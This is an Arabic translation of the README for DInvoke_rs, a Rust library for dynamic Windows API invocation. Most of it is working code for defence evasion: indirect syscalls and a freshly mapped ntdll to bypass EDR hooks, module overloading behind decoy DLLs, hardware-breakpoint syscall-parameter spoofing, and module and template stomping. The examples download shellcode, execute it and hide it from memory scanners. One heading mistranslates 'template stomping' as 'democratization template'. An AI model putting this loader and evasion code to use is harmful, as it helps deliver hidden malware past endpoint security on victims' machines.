
استدعاء ديناميكي لأي كود غير مُدار
نسخة Rust من Dinvoke. يمكن استخدام DInvoke_rs لأغراض عديدة، مثل تحليل PE، وحل الدوال المُصدَّرة ديناميكيًا، وتحميل إضافات PE ديناميكيًا أثناء التشغيل، وتجنب خطافات API، وغير ذلك.
الميزات:
يعود الفضل كله إلى مبتكري النسخة الأصلية بلغة C# لهذه الأداة:
استورد هذا الـ crate إلى مشروعك بإضافة السطر التالي إلى ملف cargo.toml الخاص بك:```rust
[dependencies]
dinvoke_rs = "0.2.2"
# أمثلة
## حل واجهات برمجة التطبيقات المُصدَّرة
يوضح المثال أدناه كيفية استخدام DInvoke_rs للعثور ديناميكيًا على وظائف DLL المُصدَّرة واستدعائها (في هذه الحالة `ntdll.dll`).
1) احصل على العنوان الأساسي لـ ntdll.
2) استخدم `get_function_address()` للعثور على تصدير داخل `ntdll.dll` بالاسم. يتم ذلك عن طريق اجتياز وتحليل EAT الخاص بالدالة.
3) يمكنك أيضًا العثور على تصدير بواسطة ordinal عن طريق استدعاء `get_function_address_by_ordinal()`.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
println!("ntdll.dll base address is 0x{:X}", ntdll);
// Dynamically obtain the address of a function by name.
let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
if nt_create_thread != 0
{
println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
}
// Dynamically obtain the address of a function by ordinal.
let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
if ordinal_8 != 0
{
println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
}
}
}
في المثال أدناه، نستخدم DInvoke_rs للاستدعاء الديناميكي للدالة RtlAdjustPrivilege بهدف تمكين امتياز SeDebugPrivilege لتوكن العملية الحالية. هذا النوع من التنفيذ سيتجاوز أي خطافات API موجودة في Win32. كما أنه لن يُنشئ أي إدخال في جدول عناوين الاستيراد الخاص بالملف التنفيذي PE، مما يجعل اكتشاف سلوك هذا الملف أكثر صعوبة دون تنفيذه.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
unsafe
{
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
}
## تنفيذ استدعاء النظام غير المباشر
في المثال التالي، نستخدم DInvoke_rs لتنفيذ استدعاء النظام المطابق للدالة `NtQueryInformationProcess`. وبما أن الماكرو `execute_syscall!()` يخصّص وينفّذ الشيلكود المطلوب لإجراء استدعاء النظام المطلوب ديناميكيًا، فإن جميع الخطافات الموجودة في `ntdll.dll` يتم تجاوزها. يتم تحرير الذاكرة المخصّصة بمجرد عودة استدعاء النظام، مما يتجنب الوجود الدائم لصفحات ذاكرة بصلاحية تنفيذ.```rust
use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};
fn main() {
unsafe
{
let function_type:NtQueryInformationProcess;
let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
let handle = GetCurrentProcess();
let p = PROCESS_BASIC_INFORMATION::default();
let process_information: PVOID = std::mem::transmute(&p);
let r = u32::default();
let return_length: *mut u32 = std::mem::transmute(&r);
dinvoke_rs::dinvoke::execute_syscall!(
"NtQueryInformationProcess",
function_type,
ret,
handle,
0,
process_information,
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
return_length
);
let pbi: *mut PROCESS_BASIC_INFORMATION;
match ret {
Some(x) =>
if x == 0 {
pbi = std::mem::transmute(process_information);
let pbi = *pbi;
println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
},
None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
}
}
}
في هذا المثال، يتم استخدام DInvoke_rs لتعيين نسخة جديدة من ntdll.dll يدويًا، دون أي خطافات EDR. ثم يمكن استخدام تلك النسخة الجديدة من ntdll.dll لتنفيذ أي وظيفة مرغوبة.
يمكن أيضًا تنفيذ هذا التخطيط اليدوي من الذاكرة (استخدم manually_map_module() في هذه الحالة)، مما يسمح بتنفيذ حقن DLL الانعكاسي الكلاسيكي.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
## التحميل الزائد لقسم الذاكرة
في المثال التالي، يتم استخدام DInvoke_rs لإنشاء قسم ذاكرة مدعوم بملف، ثم تحميله بشكل زائد عن طريق تعيين PE يدويًا. سيشير قسم الذاكرة إلى ملف شرعي موجود في `%WINDIR%\System32\` افتراضيًا، ولكن يمكن استخدام أي وحدة إغراء أخرى.
يمكن أيضًا تنفيذ هذا التحميل الزائد عن طريق تعيين PE من الذاكرة (كما هو موضح في المثال التالي)، مما يسمح بأداء التحميل الزائد دون كتابة الحمولة إلى القرص.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let payload: Vec<u8> = your_download_function();
// This will map your payload into a legitimate file-backed memory section.
let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
// Then any exported function of the mapped PE can be dynamically called.
// Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
let func_ptr: unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
let ret: Option<i32>; // The value that the called function will return
let parameter1: i32 = 10;
let parameter2: i32 = 20;
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);
match ret {
Some(x) =>
println!("The function returned the value {}", x),
None => panic!("[x] Error!"),
}
}
}
يتيح DInvoke_rs إخفاء وحدات PE المعيّنة عندما لا تكون قيد الاستخدام، مما يصعّب على فحص ذاكرة EDR اكتشاف وجود dll مشبوهة في عمليتك.
على سبيل المثال، لنفترض أننا نريد تعيين نسخة جديدة من ntdll.dll لتجنب خطافات EDR. نظرًا لأن وجود نسختين من ntdll.dll في نفس العملية قد يُعتبر سلوكًا مريبًا، يمكننا تعيين ntdll وإخفائه كلما لم نكن نستخدمه. هذا مشابه جدًا لتقنية تذبذب الشيل كود (shellcode fluctuation)، على الرغم من أنه في هذا السيناريو يمكننا الاستفادة من حقيقة أننا نعيّن PE في قسم ذاكرة مشروع مدعوم بملف (file-backed memory section)، لذا يمكننا استبدال محتوى ntdll بمحتوى الوحدة الخادعة الأصلية التي يشير إليها القسم.```rust
use dinvoke_rs::dmanager::Manager;
fn main() {
unsafe
{
// The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios
let mut manager = Manager::new();
// This will map ntdll.dll into a memory section pointing to cdp.dll.
// It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
// This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
// Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);
// Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
let _ = manager.map_module(overload.1);
// After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
// Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
let _ = manager.hide_module(overload.1);
}
}
## انتحال معاملات استدعاء النظام
من أجل انتحال أول 4 معاملات لاستدعاء نظام، يدعم DInvoke_rs نقاط التوقف العتادية (hardware breakpoints) بالاقتران مع معالجات الاستثناءات. يتيح ذلك إرسال معاملات غير ضارة إلى دالة NT، وبعد أن تفحصها EDR، يتم استبدالها بالمعاملات الأصلية قبل تنفيذ تعليمة استدعاء النظام. لمزيد من المعلومات، راجع المستودع الذي جاءت منه الفكرة الأصلية: [TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls).
حاليًا، هذه الميزة منفذة للدوال `NtOpenProcess`, `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtWriteVirtualMemory` و`NtCreateThreadEx`. لاستخدامها، يكفي تفعيل الميزة، وتعيين معالج الاستثناءات، ثم استدعاء الدالة المطلوبة عبر Dinvoke.```rust
use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};
fn main() {
unsafe
{
// We active the use of hardware breakpoints to spoof syscall parameters
dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
// We get the memory address of our function and set it as a VEH
let handler = dinvoke_rs::dinvoke::breakpoint_handler as usize;
dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);
let h = HANDLE {0: -1 as _};
let handle: *mut HANDLE = std::mem::transmute(&h);
let access = THREAD_ALL_ACCESS;
let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
// We set the PID of the remote process
let remote_pid = 472isize;
let c = ClientId {unique_process: HANDLE {0: remote_pid as _}, unique_thread: HANDLE::default()};
let client_id: *mut ClientId = std::mem::transmute(&c);
// A call to NtOpenProcess is performed through Dinvoke. The parameters will be
// automatically spoofed by the function and restored to the original values
// before executing the syscall.
let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);
println!("NTSTATUS: {:x}", ret);
dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
}
}
الآن، تتيح حزمة overload التابعة لـ Dinvoke_rs تنفيذ عملية دوس الوحدات (module stomping) عبر استدعاء الدالة managed_module_stomping(). المعامل الأول لهذه الدالة هو محتوى الشيل كود. أما المعاملان الآخران فيعدلان سلوك الدالة، مما يسمح بثلاثة مسارات تنفيذ مختلفة موضحة أدناه.
أفضل طريقة لاستخدام هذه الدالة في رأيي هي تحميل dll شرعي في العملية والسماح لـ Dinvoke بتحديد موضع مناسب داخل ذلك الـ dll لدوس الشيل كود عليه. يتم ذلك بتمرير العنوان الأساسي للـ dll كمعامل ثالث للدالة managed_module_stomping(). يجب أن تكون الوسيطة الثانية صفرًا. من خلال ذلك، سيتنقل Dinvoke عبر بيانات الاستثناء (Exception data) الخاصة بالـ dll بحثًا عن دالة شرعية كبيرة بما يكفي لدوس الشيل كود عليها.```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
يمكنك أيضًا تحديد الموقع الدقيق الذي تريد كتابة الشيلكود فيه بتمرير عنوان الذاكرة كمعامل ثانٍ:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
أخيرًا، يمكنك السماح لـ Dinvoke بتحديد العنوان الذي سيتم فيه استبدال (stomp) الشيلكود تلقائيًا. يتم ذلك عن طريق التكرار على بيانات الاستثناء (Exception data) لجميع الوحدات المحمّلة حتى العثور على دالة مناسبة. قد يؤدي هذا الخيار إلى سلوكيات غير متوقعة، لذا لا أنصح به حقًا إلا إذا لم يكن لديك خيار آخر.```rust let payload_content = download_function(); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
بمجرد أن يتم استبدال (stomped) الـ shellcode، يمكنك استخدام crate `dmanager` لإخفاء/إعادة استبدال الـ shellcode الخاص بك، مما يتيح لك تنفيذ تذبذب الـ shellcode:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
let mut manager = dinvoke_rs::dmanager::Manager::new();
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
...
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
run();
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again
قالب الدمقرطة (Template stomping) هو أسلوب مشتق من تقنية Module stomping مصمم خصيصًا لملفات DLL. حاليًا، يسمح هذا الأسلوب فقط بتحميل DLL في العملية الحالية، ولا يدعم العمليات البعيدة.
الهدف الرئيسي هو إنشاء قالب من DLL عن طريق استبدال محتوى قسم .text ببيانات عشوائية، مما يسمح بكتابة القالب على القرص دون إثارة التنبيهات. يتم صياغة هذا القالب بطريقة تسمح بتحميله في العملية عبر استدعاء LoadLibrary. بعد ذلك، يمكن تنزيل محتوى قسم .text الأصلي مباشرة إلى ذاكرة العملية ودمجه فوق منطقة الذاكرة المقابلة في القالب. يمكن تنفيذ هذا الأسلوب بفعالية باستخدام وظيفتين رئيسيتين: generate_template وtemplate_stomping.
تم تصميم وظيفة generate_template لإنشاء القالب من ملف DLL الأصلي عن طريق استخراج محتوى قسم .text واستبداله ببيانات عشوائية. يضمن ذلك أن يحتفظ القالب ببنيته لكنه لا يحتوي على أي كود تنفيذي ذي معنى، باستثناء نقاط الدخول واستدعاءات TLS، والتي يتم استبدالها بتعليمات تجميع وهمية لكنها وظيفية. يتم حفظ محتوى قسم .text الأصلي بشكل منفصل في payload.bin، ويتم حفظ ملف القالب النهائي في template.dll.```rust
fn main ()
{
let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory");
match template
{
Ok(()) => { println!("Template successfully generated.");}
Err(x) => { println!("Error ocurred: {x}");}
}
}
ثم يمكن حفظ القالب على القرص في **النظام المستهدف** وتحميله في العملية الحالية عن طريق استدعاء `LoadLibrary`. وبمجرد أن يتم تحميل القالب بواسطة نظام التشغيل، تتمثل الخطوة التالية في استبدال المحتوى التنفيذي الأصلي المخزّن في `payload.bin` داخل قسم `.text` من القالب. يتم تنفيذ هذه العملية بواسطة الدالة `template_stomping`، التي تستبدل المحتوى التنفيذي الأصلي في منطقة الذاكرة الصحيحة مع مراعاة جميع التفاصيل المتعلقة بهذه العملية.```rust
fn main ()
{
unsafe
{
let mut payload = http_download_payload(); // Download payload.bin content directly to memory
let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);
let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
let function: extern "system" fn() = std::mem::transmute(function_ptr);
function();
}
}
تتيح هذه التقنية تحميل DLL في مناطق ذاكرة مدعومة بالقرص دون كتابة المحتوى التنفيذي الفعلي إلى نظام الملفات (مما يلغي الحاجة إلى مناطق ذاكرة خاصة ويتفادى التحليل الثابت/الديناميكي لأنظمة EDR)، كما تتيح الحفاظ على استدعاءات نظيفة (call stack) أثناء تنفيذ كود DLL، بخلاف ما يحدث عند تحميل DLL بشكل انعكاسي (reflective).